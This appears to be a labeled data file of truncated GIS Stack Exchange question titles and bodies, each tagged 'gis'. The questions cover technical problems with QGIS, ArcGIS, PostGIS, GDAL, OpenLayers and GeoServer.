I'm trying to figure out when the term ""geospatial"" came into use? The earliest usages I can find are from around 1994, but I would be really surprised if it wasn't used ... ",['gis'] "Title: Display mouse position from graph on a map Body: i need to develop a web application which shows a map, that displays a GPS Route. So far I can do this using Openlayers or ArcGIS Server. Now I want to add an interactive graph below the map. In this ... ",['gis'] "Title: Querytask/query - executed select Body: Is there a way to get to the query condition, which is executed under the querytask ? I have an example, which is actually a copy of this ArcGIS example ... ",['gis'] "Title: Load surface to SQL using osm2po Body: Does anyone know, if it is possible to make osm2po able to load extra road data into SQL file, such as the surface tag? [1] I know it is not much used, but when it is, it would be nice to know if the ... ",['gis'] "Title: Debugger for ArcGIS Java Script API 3.x Body: It might be very basic question.. I am working on ArcGIS Java Script API version 3.2/3.3 and using IDE as aptana & notepad++(Currently testing all applications on Firefox and using Firebug while ... ",['gis'] "Title: Printing large number of Points in ArcGIS Body: I have bathymetric data which have thousands of points ( exactly 71 K). Now when I try to print it in a large map size in ARCMAP 10.0 , the layout view freezes and the system is hung , possibly due ... ",['gis'] "Title: GRASS: populating attribute table with specific values Body: I have a vector map that includes 100 points. These points were created using v.extract to randomly sample a larger map of 10k points. As such, the 'cat' values range from 1 to more than 10k. What ... ",['gis'] "Title: How to see print commands through Python Script while programming plugin for QGIS? Body: This might sound like a silly question. Is there a way that from running a custom plugin made for QGIS that a Python Shell can appear along when the plugin is run, like a debug screen. I'm asking ... ",['gis'] "Title: Geodesic distance between two polygons in ArcGIS Body: Does the IGeometryServer2 interface work in desktop applications? My solution is an Add-in for ArcGIS 10. I'm currently passing it two valid polygon features that are in a projected coordinate system. ... ",['gis'] "Title: Mapnik - Weird tiles rendering when used with spatialite Body: I use Mapnik in an GeoDjango App with Spatialite 4.0 as backend. There is something weird with the tiles that I suspect might be related with a bad handling of mbr with spatialite. If you look at ... ",['gis'] "Title: Why can't a user with db_owner role version data? Body: I've made an enterprise geodatabase and added a user with db_owner permissions. When I add a database connection in ArcCatalog and connect to this geodatabase using the user I created, I'm not able ... ",['gis'] "Title: Copy and Paste symbology in Raster? Body: Hi all, I am trying to figure it out how can I take a preserved color from a raster I already set up before and then apply the colormap to a new raster file? Here are the details of what occurred: ... ",['gis'] "Title: Plotting large numbers of objects on a chart using R and WKT format Body: I am retrieving thousands of geometry lines in WKT format from a Microsoft SQL Server database. I would like to plot all of those lines in one map, but I am having some difficulty with the code. How ... ",['gis'] "Title: upgrade from 1.3 to 3.3 javascript api for arcgis with jsviewer [duplicate] Body: I try to use jsviewer (v.1.0) in my application , but it doesn't work with JSAPI version uper than 1.3 . How can I work with both :jsviewer and the 3.3 JSAPI version? Thank you in advance ",['gis'] "Title: Can pgRouting work more efficiently？ Body: I use a river network on which has a lot of nodes to test pgRouting, and I run the SQL, searching for the shortest path between nodes. SELECT * FROM shortest_path(' SELECT gid as id, ... ",['gis'] "Title: QGIS 1.8 startup crash - looking for a log file Body: I have a problem with QGIS 1.8 with OSGEO4W installer (windows 7 - 64 bit). QGIS crash on startup, it shows the splash screen and then nothing. I have updated from an old 1.7.4 QGIS version. I have ... ",['gis'] "Title: Speed of editing attributes in QGIS from a Python plugin Body: I'm trying to edit the value of an attribute for each feature in a layer using a QGIS Python plugin. I've found that doing this outside of editing mode is much slower than while editing (even ... ",['gis'] "Title: which jar file contain net.opengis.wps.x100 and how can I download it? Body: I want to develope a wps process by 52 north and I shoud use org.n52.wps.server.AbstractSelfDescribingAlgorithm so this class is inherit from net.opengis.wps.x100.ProcessDescriptionType. My question ... ",['gis'] "Title: Why does a raster in Gauß-Krüger has a little offset to a shape in UTM? Body: I have raster data (TIFF files) where I think it's spatial reference is in Gauß-Krüger (""DHDN_3_Degree_Gauss_Zone_3"") and some shape files in UTM (""ETRS_1989_UTM_Zone_32N_8stellen""). As you can see in ... ",['gis'] "Title: How to view the Area of Selected Feature in ArcGIS 10.1? Body: I think this is simple. I am looking for a way to convert the area of a selected feature to acres. The unit for my geodatabase is feet. The ruler tool almost does it, but it only returns the top-most ... ",['gis'] "Title: What to set spatial reference to after projecting to GCS_WGS_1984 Body: I have a shapefile containing some sort of vectors or polygonal chains. This file is in the GCS_CH1903 geographic coordinate system (it is not specified though... if I import it into ArcMap it says ... ",['gis'] "Title: Problem loading PostGIS (Postgres) View layer in QGIS Body: Why is Postgres user XX via command „Add PostGIS Layers“ in QGIS enabled upload only View tables which owns? Or how to achieve it to the user XX via PostGIS can load View table which owns the user YY? ... ",['gis'] "Title: Replace non-English characters in attribute tables Body: I have a few shapefiles where some of the attributes contain the non-English characters ÅÄÖ. Since some queries doesn't work with these characters (specifically ChangeDetector), I tried to change them ... ",['gis'] "Title: Displaying a dynamic KML file on Google Maps as it is on Google Earth Body: how can i display my kml files through network link on Google Maps instead of showing it on Google Earth. I have tried the step mentioned on this link ... ",['gis'] "Title: Interacting between Openlayers and Python Body: I have a openlayers website like this one that gives the user the ability to draw polygons and then creates a GeoJSON file. I want to process this GeoJSON with a python script. The python script ... ",['gis'] "Title: WFS Transaction geoserver Openlayers POST method Body: I tried to make a transaction data using WFS protocol with the save strategy and when I click on the save button and fetch with firebug I figure out that the POST method didn't receive any response ... ",['gis'] "Title: Pros and cons of using Ruby/Rails/RGeo or Python/GeoDjango for a web based GIS Body: We're at the investigation phase of creating a web based GIS. We're assessing options for an ORM to use in all of our backend import/export and processing routines. From my research, GeoDjango appears ... ",['gis'] "Title: Create a circle or ellipse from points Body: Sorry if this is basic. I have an excel sheet with lat/long in it and a field with a radius, in meters, included. I would like to create a circle or ellipse feature class around these points. ... ",['gis'] "Title: Setting up file geodatabase API Body: Can someone point me to a guide for setting up the file geodatabase API? I'm using Visual Studio Express 2012. I can deal with writing and debugging the code - I just can't seem to figure out how to ... ",['gis'] "Title: ArcPy Report syntax error Body: I'm working on trying to use arcpy to automate the creation of a report, but I'm running into a problem. >>> ... ",['gis'] "Title: How to get a string from a Double with a fixed number of decimals? Body: I have a featureclass (in a File Geodatabase), with a particular field of type Double. I want to copy it over to a text field, so that only 3 decimal places are shown. For example: 34.78902345 ... ",['gis'] "Title: OGR - Weird GeomType -2147483645 on polygon shapefile Body: I am trying to import a shapefile (multipolygon) in an app with ogr but I got an error about invalid geom type. If I inspect the data with ogr like this: datasource = ogr.Open(""c:\\temp\\data.shp"") ... ",['gis'] "Title: Creating the node ids：Is this SQL error related to geometry type？ Body: I loaded a multilinestring layer into PostGIS Manager： and use the SQL query, trying to get the table with the node ids： ALTER TABLE split_4 ADD COLUMN source integer; ALTER TABLE split_4 ADD ... ",['gis'] "Title: onSelect event on dynamically created layers Body: I'm creating different layers dynamically full of features, everything on-the-fly, and I need to do some stuff when each specific feature is selected. I can't paste the actual source code here as it ... ",['gis'] "Title: Purge Layers from QGIS [duplicate] Body: I have created numerous databases from a base source and merely added and removed various layers then saved as a new project. There were more layers common than not in common in each project. However ... ",['gis'] "Title: Query and display a layer using arcgis script tool Body: I have database which contains point shapefiles and raster files for 3 species. My aim is to develop a script tool that should have a search tab to enter the species name. also, a check box to select ... ",['gis'] "Title: How to place map legends and titles in Geoserver? Body: I am new to geoserver and tried to learn from basics & familiar with GIS concepts. I published a shape file in geoserver, Now I want to add a title & legend to the published file. Please ... ",['gis'] "Title: How to avoid creating corrupt Shapefiles during Editing? Body: I have one of my GIS technicians digitizing some lines in QGIS in shapefile format. I don't know how he did it (and neither does he), but somehow the shapefile became corrupt. It was creating random ... ",['gis'] "Title: Geocoding Multiple Addresses using ArcGis JS API Body: I am new to using the ArcGIS JavaScript API. I am currently trying to develop an application but I am having troubles with it. The application I am developing uses a .csv file with a bunch of ... ",['gis'] "Title: How to find the middle point of a line in QGIS Body: I am trying to locate the coordinates of the middle point of a line feature in QGIS. I tried searching online but can't seem to find an easy way to do this. ",['gis'] "Title: CQL Filter on WMS [duplicate] Body: I have CQL_Filter which filters WMS layer and displays only the points I asked for, The problem is that all features even the hidden, keep showing its popup when I click on their spot. So, as I ... ",['gis'] "Title: Geoserver proxy extention Body: i got geoserver 2.1.2 and when i wanna add the jar file ( for proxy extention for geoserver) in the desired file ""geoserver 2.1.2/webapps/geoserver/WEB-INF/lib"" and clicked to ""Proxy Admin Page"" in ... ",['gis'] "Title: convert GPS to x,y using reference node Body: i am using sensor nodes and their antenna to calculate GPS coordinates as notation of (degrees/minutes/seconds), i have some question of how to do these things: how can i convert latitude and ... ",['gis'] "Title: I cannot connect to ArcGIS for Server 10.1 from ArcMap, I can in ArcCatalog Body: I have a strange error, I created three connections to ArcGIS for Server 10.1 in ArcCatalog as admin, publisher & user, and they connect and opens normally in ArcCatalog. However, when I try to ... ",['gis'] "Title: Capitalizing The First Letter Of Each Word In Attribute Field Body: Does anyone know of a way to capitalize the first letter of each word in a field in an attribute table? I am doing this in QGIS. I know of field calculations to change all the words to Lower or ... ",['gis'] "Title: How can I make a Postgres/PostGIS ST_Distance_sphere query more efficient? Body: Within Postgres/PostGIS I have written an SQL query to get the closest distance for each element within a point coordinate table from a polyline table. The query comes back and works correctly, but ... ",['gis'] "Title: Arcobjects, mystery green lines in the Layout View produced during script execution Body: Could any of Arcobjects guru tell me, what are these green lines on my Page Layout and what to do, or not to do, so they do not appear? See image attached. I do used Arcobjects from Python. My script ... ",['gis'] "Title: gdal_merge.py aligns incorrectly at the seam of two GeoTiffs Body: I am trying to merge four GeoTiffs from the National Elevation Dataset (EPSG: 4269) into a 2x2 DEM using gdal_merge.py. For some reason, when it merges the upper two NED rasters, gdal produces a seam ... ",['gis'] "Title: pass users input to one of the layers in the model builder Body: I am new to the model builder and python environment. Currently, I am doing a project and encounter some problems. In the model builder, i have a store layer that contains a list of store names. My ... ",['gis'] "Title: Accurate and fast nearest neighbour, which distance function should I use and how to it speed up? [duplicate] Body: I am solving the following problem: I have a map with many points in it and I need to find the nearest point to given location. Each point carries information about it's latitude and longitude. This ... ",['gis'] "Title: Extract multi values to point error Body: I am trying to extract values from my rasters : slope, aspect, landcover etc. for my animals group locations. I used Spatial analyst>Extract multi values to points but when I look in my attribute ... ",['gis'] "Title: Get vector features inside a specific extent Body: The problem: I have a very large vector layer with many features and a much smaller raster layer in a defined region. I want to get only those vector features which are within the raster layers ... ",['gis'] "Title: How to minimize the number of nodes in a polygon? Body: I'm building a web application that will be transferring polygons from server to client. Initially, the shapefile is coming from an external source that I have no control over. Often, I find polygons ... ",['gis'] "Title: problem of buffering a point on large areas with a projected coordinate system Body: could someone clear this up for me please. i remember reading an article not long ago on the web about the problems associated with buffering points on a globe due to the fact that a globe uses angles ... ",['gis'] "Title: Evaluate minimum points required to define polygons based on an error threshold Body: I need to build a model or write an algorithm to do this, which I would like you to share your ideas with me. here is my cadastral problem: I have plenty of polygons and I need to make a report of ... ",['gis'] "Title: Create points at shortest euclidean distance to other points Body: So, I have a lot of points, and I need to site three new points so they will be at the shortest euclidean distance between all of the other points. In other words, these three new points that I need ... ",['gis'] "Title: Dissolving shapefile python script not working, syntax help please Body: I do not understand why this simple script won't work. I can get it to dissolve in model builder but not from a script that I run from inside the map document. My output results are 4 polygons, just ... ",['gis'] "Title: “Geometry type does not exist” on a Postgis installation on Fedora 18 Body: Just installed PostgreSql and PostGIS over a brand new installation of Fedora 18. I did it this way: sudo yum install postgresql postgresql-server postgrsql-contrib postgresql-devel pgadmin3 Once ... ",['gis'] "Title: Custom Model should be used with ArcMap or ArcCatalog? Body: I have one basic question , when you create custom model using model builder in ArcGIS. It should be used with ArcMap or ArcCatalog? Reason I am asking this question is I have created a model and I am ... ",['gis'] "Title: How to reopen a plugin-window in QGIS? Body: I am currently taking my first steps in playing around with programming a plugin in python 2.7 for QGIS 1.8. While my plugin does what it should, I would like to make it more userfriendly. At the ... ",['gis'] "Title: Problem with mcc-lidar Body: I am running mcc-lidar on a win7 64bits with 16gb of ram. Nevertheless when I try to process a las file with 1, 800 000 points using -s 0.5 and -t 0.3 the program tells me: Error: insuficient memory; ... ",['gis'] "Title: Help required in grouping composite symbols in ESRI Flex Viewer Body: I want to group multiple composite symbols so that I can move them as one unit on map. Is there any container to hold multiple composite symbols? As Composite Symbol is Array of other symbols, I want ... ",['gis'] "Title: render kml 10mb KML file cordinates data on OSM map throws stop running script error in OpenLayer.js file Body: I am trying to render the kml file having 18000 line string data on OSM map using openlayer HTTP strategy. To render OSM map i am using GeoExt.MapPanel and ExtJS 3.4 viewport. The problem is I am ... ",['gis'] "Title: Is ArcGIS 10 compatible with Windows Server 2012 OS? Body: Is ArcGIS 10 for Desktop, ArcSDE 10 for Windows, and/or ArcGIS Server 10 for Enterprise compatible with Windows Server 2012 OS? Or do we have to install 10.1 on Windows Server 2012? ",['gis'] "Title: network coverage for mobile phones - europe Body: I am looking for GIS data with the network coverage (mobile phones). Something like the layer shown in the cell mapper website where I can select different countries and all the providers to export a ... ",['gis'] "Title: How to transform FileGDB featureclasses from custom local coordinate system? Body: Background: Started working for company that is in middle of system-wide IT upgrade including GIS data. Existing in-house data is in a FileGDB, is in an assumed coordinate system and represents 1000 ... ",['gis'] "Title: Why do I get different output from gdal2tiles vs. maptiler? Body: I am trying to generate map tiles using gdal2tiles for an area much larger than MapTiler can handle. However, my tile caches are not showing up on the maps. I checked gdal2tiles by running the same ... ",['gis'] "Title: Get Multiple Shortest Path using PgRouting in One Query Body: I am trying to get multiple shortest path using A* Algorithm available in PgRouting. I referred Solution given by UnderDark ( Link of the Stakoverflow Post ) . But it is not giving me proper Output. ... ",['gis'] "Title: ArcGis 10 - Field Calulator - Python - Synthax Question Body: I want to calculate a field, this is my working example in VB: ""C:\Users\Admin\Desktop\Data\"" & !Work! & ""\1000_\"" & !Data! & "".pdf"" I'm slowly changing all my scripts to Python, ... ",['gis'] "Title: Why is QGIS reading in my CSV numeric data as string data, and how do I change it? [duplicate] Body: QGIS keeps reading in my numeric data from .csv files as string data. This means I have to figure out how to read it in with the proper data type, or convert it back to numeric inside of QGIS, ... ",['gis'] "Title: How to delete polygons less than a certain area? Body: I'm trying to delete all polygons with an area smaller than a certain give value. Is this possible in qgis? The goal here is to delete all the islands off a map. ",['gis'] "Title: How do I essentially crop an ArcGISTileMapServiceLayer as an object while maintaining the integrity of the basemap Body: I am using the up-to-date flex api and esri api for flex. I know how to use flex to obtain a snapshot of a map, but ultimately what I want to do is retrieve a scaled up image of a part of the basemap. ... ",['gis'] "Title: SAGA, GRASS Raster values to null Body: I want to make the cells which values ""1"" to null in QGIS with Grass or Saga tools (exactly Saga). ",['gis'] "Title: ArcGIS Add-In Project to Standard Library Project Body: I have been developing an ArcGIS 10 Add-In tool, but requirements changed halfway through development. Fortunately, this isn't changing any of the code, but I just need to be able to compile the ... ",['gis'] "Title: Mapnik - Error on rendering linestring Body: I am using Mapnik 2.0.1rc0 on a Windows 7 with python 2.7 32bits inside a GeoDjango App using xml. The datasource come from spatialite 4.0. My tiling script can render polygon and point features ... ",['gis'] "Title: User Defined Dynamic Layer in pmapper + mapserver Body: I am a newbie and I need to develop a web gis app, that have a capability to show a thematic layer dynamically based on users option from combo box. I am using mapserver and pmapper. I want to have a ... ",['gis'] "Title: IDW: Default Maximum Distance and Coincident Points Body: The ArcGIS Help file says the Default Maximum Distance, when using the Variable Search Radius in IDW, is the extent's diagonal, however, no value is automatically filled in the corresponding box after ... ",['gis'] "Title: British National Grid to KML results in offset polygons Body: I have a shape file of English wards from ONS. It is similar to the files available here: http://www.ons.gov.uk/ons/guide-method/geography/products/census/spatial/2011/index.html except I had to ... ",['gis'] "Title: Problem when executing Dissolve method in ArcEngine Body: I'm always having a problem in GP.execute() when trying to execute this method. Here is my code: Friend Function DissolveFeatures(ByVal pInFLayer As ESRI.ArcGIS.Carto.IFeatureLayer, ByVal ... ",['gis'] "Title: Recommended way for changing value in PostGIS using GeoServer Body: I have a map being rendered from PostGIS using GeoServer. I frequently make some edits to the map and update the new value by directly connecting to the PostGIS database and then making the changes ... ",['gis'] "Title: Difference in raster size using raster2pgsql Body: I use the PostGIS-build-in raster2pgsql to load SAGA-raster into the db. I tried to grid them into 100x100-tiles, just as seen in the code: /usr/lib/postgresql/9.2/bin/raster2pgsql -s 32632 -a -F ... ",['gis'] "Title: Fill polygon with colour depending on the value in MS SQL Server table Body: I'm using QGIS 1.8. Windows 7. I have a table in MS SQL Server 2008 R2 database with two fields: id and density(int). There are several polygons in QGIS. How can I set color of polygion depending on ... ",['gis'] "Title: Populating fields in a Matrix format Body: I am trying to develop an accuracy assessment tool using ArcObjects. As an output I would like to show a matrix with the fields such as road ,land,water etc. I just want to know how can I fetch ... ",['gis'] "Title: Is there workaround for very slow ArcSDE 10.1 data display Body: I'm suffering from very slow viewing data of and ArcSDE database from an Arcgis engine application, the SDE database is in localhost so there's no network issues. but i still don't know the reasons ... ",['gis'] "Title: Line to Polygon via Polygonizer in QGIS Body: My question is in the same vein as this one. I'm attempting to convert precipitation lines (Precipitación Media Anual) to a polygon for Mexico in QGIS using the Polygonizer plugin. After running the ... ",['gis'] "Title: gdal_retile.py tile naming scheme Body: Is there a way to define custom tile names during a gdal_retile.py process, other than the default _01_01. For instance, suppose I want to start naming my tiles at 100_100, is this possible? ",['gis'] "Title: Can custom map tiles be properly rendered via ArcObjects within my ArcGIS 10.1 Desktop AddIn? Body: Within ArcObjects for ArcGIS 10.1, we are attempting to render pre-generated map tiles as a basemap (group) layer. The tiles themselves are of the typical web mercator aux. spherical tiling scheme. ... ",['gis'] "Title: Why has Arc's Analysis Tools>Overlay>Identity tool not populated the fields in the output table with the input features' attributes? Body: I've benefitted from the answers on this site a couple of times - thanks all!!, but this is the first question I have posted. I'd like to know the stream length in a number of watersheds I'm working ... ",['gis'] "Title: Offset a Polygon defined in Lat Lng points by a given distance of miles or km Body: I am trying apply a positive offset/buffer (enlarge a shape equally from the borders) to a polygon that is made up of a series of latitude/longitude coordinates by a distance that is defined in either ... ",['gis'] "Title: Displaying Highrise Delivery Routes Body: I have a geocoded address table for High Rise buildings in New York. If i'm trying to map delivery routes to a number of these locations, what would be the best and most clear way to display the ... ",['gis'] "Title: Assigning costs to a road network : use raster or vector? Body: I have a road network in a PostGis database (db_routing). In another database (db_environment), I have some spatial features of the surrounding environment (trees as points and water bodies as ... ",['gis'] "Title: What does 'DBMS table not found' message mean? Body: I have a plain postgressql table (version 8.2). I am trying to connect to it to it from ArcGIS desktop 10.0, and use as a query layer, as given in this document: ... ",['gis'] "Title: retrieve some info from GRIB2 file with JAVA Body: I've just started parsing some info inside GRIB2 file with NOAA weather forecast, and I am realizing this task is not as easy as I could think 'a priori'. I need to process some info inside JAVA ... ",['gis'] "Title: WFS reprojection problems Body: In geoserver i have a layer in EPSG:4326. In OpenLayers i add it on map as WFS: markerLayer = new OpenLayers.Layer.Vector('Markers',{ strategies: [new OpenLayers.Strategy.BBOX()], ... ",['gis'] "Title: Updating Attributes using Pyshp Body: Is it possible to update an attribute field in a shapefile using pyshp ? I went through their documentation and all they show is how to create new attribute rather than editing or updating an already ... ",['gis'] "Title: Moran's I z-score in ArcPy Body: I have a ArcPy script to calculate Moran's I several times (50 to be precise). However, I am not interested in the Moran's I value, what I need is the z-score returned by the tool. Even though the ... ",['gis'] "Title: How to calculate area in sq km of an ellipsoid shapefile Body: In QGIS, I often find myself setting up projects with an ellipsoid coordinate system (e.g. WGS84) so that the resulting maps have lat lon scales, etc. Often in these projects I also need to do some ... ",['gis'] "Title: Sextane script error (os is not defined) Body: I want to build an analysis script using Sextante 1.0.9 on QGIS 1.8.0. I find an example script in Youtube. I tried this code but never worked always getting error. People say that Sextante is ... ",['gis'] "Title: How far is a station from the outlets in a watershed Body: I have a gauging station point with elevation. Also have a watershed generated for the same area. I just want to know how to calculate the distance from the station to the outlet(point) The green ... ",['gis'] "Title: openlayers point intersection Body: For example, I have 2 points and I want to know if they intersect. If yes, I need to delete first points. Should I use OpenLayers .intersects method? Because it greatly depends on zoom level. Or ... ",['gis'] "Title: How to document GIS analysis? Body: New to QGIS & GIS-meta While I know I can annotate within a map, what is being used for documenting your work:sources of data, choices of color/per layer with each map made ( thinking along the ... ",['gis'] "Title: Agent Analyst tool interface will not open on ArcGIS 10.1 Body: I am having the same sort of problem as others seem to have had (for me specifically the agent analyst tool interface won't open). I have ArcGIS 10.1 sp1 installed on my computer. I have followed ... ",['gis'] "Title: How to analyze the signatures for a Landsat clasification with Sextante in Quantum Gis Body: I’m defining my training data for a Landsat classification. I´m digitalizing the polygons with the field data in QGis and I want to analyze the signatures of the Landsat images to avoid errors. In ... ",['gis'] "Title: WMS-C Google Maps v2 Android Body: I'm have added a map from a WMS-server in Google Maps v2 for Android using the code provided from this site: http://www.azavea.com/blogs/labs/2013/01/wms-on-android/ . The tiles are downloaded and ... ",['gis'] "Title: Is it necessary to use cachewrite control to use cacheread in openlayers? Body: the question is very simple. i want to use the OpenLayers.Control.CacheRead control to load and store tiles when the connection is fast e.g. with wifi network. then use the same device in other places ... ",['gis'] "Title: Why are areas of raster and polygon after digitization not matching? [duplicate] Body: I have followed the answer given in this question:How to calculate the area of rasters in QGIS? I vectorized and calculated the area using geometry columns but I a faced a strange problem. When I ... ",['gis'] "Title: Removing Plugin Repository sites that fail to load Body: New here & to QGIS. Loading several plugins I noted that several sites seem to not load ( example ""catais.org"" or ""GIS-LAB.info"". Cannot actually find this site(s), I assume they are defunct, ... ",['gis'] "Title: Force ArcGIS iOS to use GPS data from External GPS device Body: I created an app that will display the map and the location of the external GPS device. The scenario is using a wifly module to broadcast the GPS data of the GPS receiver in wifi. The app is now ... ",['gis'] "Title: Imported GPS data does not overlap with map Body: I´m working on QGIS and I geocoded 2 addresses of a city in Germany and tried to input the text-file as a layer. It worked, but the 2 points must be in the map of the city and if I zoom to the ... ",['gis'] "Title: Arcpy Update Cursor error [duplicate] Body: I'm trying to take a field calculator equation and do it in arcpy directly through IDLE, but am running into a problem where the process runs correctly, but the results in the field show up as 0. I've ... ",['gis'] "Title: Export Raster with classification colors in ArcMap Body: I have a single band raster, but i like to export it with the same colors as in Arcmap. Any help please. ",['gis'] "Title: ArcObjects: Does an IEnumElement that was returned from IGroupElement3.Elements() maintain the z-order of the GroupElement? Body: I want to read graphics elements (TextElements and RectangleElements) from a GroupElement object (IGroupElement3) and put them into another in the same order as they were added to the original. The ... ",['gis'] "Title: Transformation of user-defined projected coordinatesystems Body: I want to transform from one projected coordinate system (pcs) to another using ArcGIS 10. Unfortunatelly the starting system is not predefind by ESRI and thus I´m not sure the software is doing what ... ",['gis'] "Title: Is it possible to keep tiling and overviews when reprojecting in GDAL? Body: I have the following script to reproject GeoTIFFs to EPSG:3857 and retile and then create overviews. #!/bin/bash #reproject all ... ",['gis'] "Title: Python 3 module to read ArcGIS .dbf files Body: I would like to know whether there are Python 3.x-compatible (preferably Python 3.3) modules to read the kind of .dbf files produced by ArcGIS. All the modules I found were only compatible with ... ",['gis'] "Title: Calculate area within Python script in Arcmap Body: I am trying to calculate the area of a polygon within my Python script. I create a new polygon from merging two together, and I'd like to add the area of the resulting polygon to a field in the output ... ",['gis'] "Title: display a kml on rumsey historical map Body: i want to diplay a kml (on a public url) on this map http://rumsey.geogarage.com/maps/g2104028.html?lat=44.22158376545796&lon=10.634765625&zoom=8 any hint to start? looking at that page ... ",['gis'] "Title: Question about the TableInfo function in MapBasic Body: I have a problem I really can't seem to get my head around, MapInfo crashes when I try to run and if statement. I have pretty much exactly the same code in another sub to check for other things and ... ",['gis'] "Title: Quering a ArcSDE featureclass attribute table after joining Body: I am trying to query a ArcSDE Feature Class after joining using Iqueryfilter I have two SDE feature classes. 1) Subdivisions : which has details of subdivision and districts (parent) 2) ... ",['gis'] "Title: Ok to measure and union a projected-on-the-fly shapefile in ArcMap? Body: I have a dataframe in arcMap 10.0.4 that is of Africa Albers Equal Area Conic PCS. I bring in a census shapefile of WGS 1984 CS and it is projected on the fly. I do 2 things: I use the calculate ... ",['gis'] "Title: GeoServer 2.3.0 Proxy Setting Body: I've upgraded to GeoServer 2.3.0 running on Apache Tomcat 7.0.39 on my host WebFaction. My websites and GeoServer are on same host but different ports. How do I go about setting a proxy so that my ... ",['gis'] "Title: Convert polygons to a number of randomly located points based on polygon size Body: ArcMap 10.1 on a PC. Working with a large shapefile with ~50,000 poygons with a wide range of size from 1,000+m. to <1m. I would like to convert these polygons into points so I can do some analysis ... ",['gis'] "Title: How to enumerate join values with ArcGIS? Body: I have two shape files (e.g. postal code areas and cities) which I want to join based on an id that both shape files have in common (the id would be the city name in this example). Joining the two ... ",['gis'] "Title: why can I only define 6 custom CRS? Body: Using Q GIS 1.8.0 - I am trying to create several custom CRS definitions for the purpose of rectifying several split areas of a census shapefile. In the ""Custom Coordinate Reference System Definition"" ... ",['gis'] "Title: Possible to add multiple fields in single arcpy statement? Body: I'm trying to add multiple fields to a table using arcpy and am wondering if it's possible to have multiple fields declared in the AddField management, and their values, separated by commas or ... ",['gis'] "Title: QGIS shows “handle bad layers” window when open project Body: A problem occurs when I trying to open project. Project has two vector layers, but only one is loaded and appears ""handle bad layers"" window. I'm using MS SQL Server 2008 R2. Maybe someone knows how ... ",['gis'] "Title: OGR shows no layers Body: I have an ESRI File Geodatabase (FileGDB) (size is 15+GB), which has over 10 layers, when I open it up in ArcGIS, everything seems to be working. I want to move this database to postgreSQL with OGR ... ",['gis'] "Title: ArcObjects C#: select intersecting polylines Body: My questions seems trivial but it is a real blocker for me. So please help!!! How can I, using ArcObjects with C#, select only those polylines in one layer that intersect with each other? It sounds ... ",['gis'] "Title: Geoserver cascading and fetching projection Body: I tried to use cascade of WMS from this portal in order to cache wms layers http://geoportal.dgu.hr/wms?request=GetCapabilities Native for this portal is EPSG:3765, but EPSG:31275 is also supported ... ",['gis'] "Title: How to share *.sql files between ArcGIS and MapInfo? Body: In Denmark many municipalities have the same provider of public data. These data are pushed to a local database – often a SQL Server. The DBMS layout is the same for all municipalities. When I create ... ",['gis'] "Title: Sorting points with QGIS Body: I have a very good idea of what I would like to do but I really do not know if it is possible with QGIS. I have points that each one corresponds to a group size and I would like to use GIS to sort ... ",['gis'] "Title: Point transects along a line Body: I would like to create a point shapefile that will contain sampling points along, and perpendicular to either side of a track route that I have as a line feature in ArcGIS 10.1. The points on the ... ",['gis'] "Title: How to save image to disk with with gdal_translate? Body: I do: import os from gdal import * filename = 'c:/rast.jpg' outputTif = 'c:/rastOut.tif' os.system('gdal_translate filename outputTif') but it returns ""1"". gdal_translate doesn't save the image ... ",['gis'] "Title: Why does QGIS 1.8.0 crash when I try to set up CRS on Win XP? Body: I have a problem with my qgis 1.8.0. When I click on any button that set CRS or try to set the coordinates on the fly, qgis crash. I try to uninstall the program and re-install it again using ... ",['gis'] "Title: Storing features in PostGIS and then creating layers using queries Body: I have a whole set of line segments or tracks that represent real tracks or, in some case, boundaries between areas. These segments form a network of lines on the map. I have a number of GIS layers, ... ",['gis'] "Title: Keeping attribute values in overlapping buffers Body: I am creating a buffer around salt marsh polygons of 275 meters. Naturally some of these buffers overlap. Prior to the buffering, each salt marsh had been given a score. I would like a) that that ... ",['gis'] "Title: How to create a custom Attribute Inspector for mobile app using the ESRI JS API Body: I am making a mobile version of a JS web application I developed. I'm noticing though that the AttributeInspector widget by default uses standard dojo/form controls. This means that the form within ... ",['gis'] "Title: What format is this data in? Body: I ran into a file today that is in a format I'm unfamiliar with, and I'm hoping that someone can identify it. The file extension is CTZ, but the only file type I found on Google with that extension ... ",['gis'] "Title: Arcpy how to conduct addition in a script, function needed? Body: I'm trying to work on my first arcpy script and am running into some troubles. The objective is to create a new field, check several existing fields (Cnt1,2,3 and Pop1,2,3) for missing data (-99 ... ",['gis'] "Title: How can I move two layers at once in QGIS? Body: I'm trying to move two digitized layers, one containing points, the other polygons to a different location at the same time. QGIS doens't seem to allow this. Even if I select both layers and features ... ",['gis'] "Title: SearchCursor (arcpy.da), accessing data on joined tables Body: Can you access joined tables through a da.SearchCursor? I've found documentation to do this with SearchCursor (arcpy), but nothing for the 10.1 data access module. ",['gis'] "Title: OWSLib and python3 Body: Trying to install OWSlib-master (and 0.7.1) from https://github.com/geopython/OWSLib yields problems that ultimately seem to be related to python3 >c:\Python32\python.exe setup.py install running ... ",['gis'] "Title: Developing Carto Mobile App Body: I have the project to develop a mobile application (Android) being able to get offline maps, go on the field, collect datas about the area we're at and then synchronize it with our data server when ... ",['gis'] "Title: qgis plugin: “WindowsError: [Error 6] The handle is invalid” Body: OS: Windows 7 64bit GIS: QGIS 1.8 (qgis.org/downloads/QGIS-OSGeo4W-1.8.0-2-Setup.exe) path variable: GISBASE=C:\Program Files (x86)\Quantum GIS Lisboa\apps\grass\grass-6.4.3RC2 ... ",['gis'] "Title: Problems using v.split in SEXTANTE toolbox to split lines Body: I got this error： Or don't click ""open output file after running algorithm"", but there is no new shapefile created on my desktop. How to solve this problem and split lines at a specified distance？ ... ",['gis'] "Title: Open related files with a hyperlink [duplicate] Body: I'm working with a line shapefile (street segments) that are associated with an image directory. The features in my shapefile may have between 0-6 or so images related to them. I've created a ... ",['gis'] "Title: What is some theory on the number of GCP when georeferencing? Body: Just wondering, is it always better to have more than 3 GCPs? Should the GCPs be spread out evenly? Where can I find some general resources on the theory of this? Other than trial an error, which ... ",['gis'] "Title: ArcGIS mobile to use external GPS device Body: Im currently tasked to create an app that would sketch a GPS Device's movement and plot it on the ArcGIS map. By default, the ArcGIS locationDisplay class calls the IOS class CLLocation to retrieve ... ",['gis'] "Title: How to make mapable geo data from a solid jpg/png Body: I have a bunch of hardiness zones, as you can see here: http://mangoly.herokuapp.com/workroom/googlemaps/zones/ They are solid colored PNG images. I know the geo coordinates of the bottom left hand ... ",['gis'] "Title: Error running ArcHydro tools function in Arcmap Body: I am trying to run a function from ArcHydro tools in Arcmap 10.1; Sink evaluation. But before it can finish it returns an error message, that, frankly, I don't understand at all. It goes ... 